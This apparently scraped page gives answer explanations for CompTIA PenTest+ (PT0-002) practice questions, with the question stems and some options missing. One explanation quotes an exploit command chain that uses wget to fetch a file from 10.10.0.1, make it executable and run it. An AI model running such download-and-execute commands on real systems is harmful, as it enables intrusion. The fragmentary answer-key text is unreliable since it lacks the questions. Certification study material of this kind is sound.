Free Practice Questions for CompTIA PT0-002 Exam

The simulated phishing attack showed that most of the employees were not able to recognize or avoid a common social engineering technique that could compromise their corporate credentials and expose sensitive data or systems. The best way to address this situation is to implement a recurring cybersecurity awareness education program for all users that covers topics such as phishing, password security, data protection, and incident reporting. This will help raise the level of security awareness and reduce the risk of falling victim to phishing attacks in the future. The other options are not as effective or feasible as educating users about phishing prevention techniques.

Adding a dependency checker into the tool chain is the best recommendation for the company that has been including vulnerable third-party modules in multiple products. A dependency checker is a tool that analyzes the dependencies of a software project and identifies any known vulnerabilities or outdated versions. This can help the developers to update or replace the vulnerable modules before deploying the products.

The exploit code is a command injection attack that uses a vulnerable CGI script to execute arbitrary commands on the target system. The commands are:

cd /tmp: change the current directory to /tmp

wget http://10.10.0.1/apache: download a file named apache from http://10.10.0.1

chmod 777 apache: change the permissions of the file to allow read, write, and execute for everyone

./apache: run the file as an executable

The file apache is most likely a malicious payload that gives the attacker remote access to the system or performs some other malicious action. Therefore, the penetration tester should run the command rm -rf /tmp/apache post-engagement to remove the file and its traces from the system. The other commands are not effective or relevant for this purpose.

The first thing that a penetration tester should consider when engaging in a penetration test in a cloud environment is whether the cloud service provider allows the tester to test the environment, as this will determine whether the tester has permission or authorization to perform the test. Some cloud service providers have policies or terms of service that prohibit or restrict penetration testing on their platforms or require prior approval or notification before testing. The tester should review these policies and obtain written consent from the provider before conducting any testing activities.

A clickjacking vulnerability allows an attacker to trick a user into clicking on a hidden element on a web page, such as a login button or a link. A watering-hole attack is a technique where the attacker compromises a website that is frequently visited by the target users, and injects malicious code or content into the website. The attacker can then use the clickjacking vulnerability to redirect the users to a malicious website or perform unauthorized actions on their behalf.

A. Perform XSS. This is incorrect. XSS (cross-site scripting) is a vulnerability where an attacker injects malicious scripts into a web page that are executed by the browser of the victim. XSS can be used to steal cookies, session tokens, or other sensitive information, but it is not directly related to clickjacking.

C. Use BeEF. This is incorrect. BeEF (Browser Exploitation Framework) is a tool that allows an attacker to exploit various browser vulnerabilities and take control of the browser of the victim. BeEF can be used to launch clickjacking attacks, but it is not the only way to do so.

D. Use browser autopwn. This is incorrect. Browser autopwn is a feature of Metasploit that automatically exploits browser vulnerabilities and delivers a payload to the victim’s system. Browser autopwn can be used to compromise the browser of the victim, but it is not directly related to clickjacking.

References:

1: OWASP Foundation, “Clickjacking”, https://owasp.org/www-community/attacks/Clickjacking

2: PortSwigger, “What is clickjacking? Tutorial & Examples”, https://portswigger.net/web-security/clickjacking

4: Akto, “Clickjacking: Understanding vulnerability, attacks and prevention”, https://www.akto.io/blog/clickjacking-understanding-vulnerability-attacks-and-prevention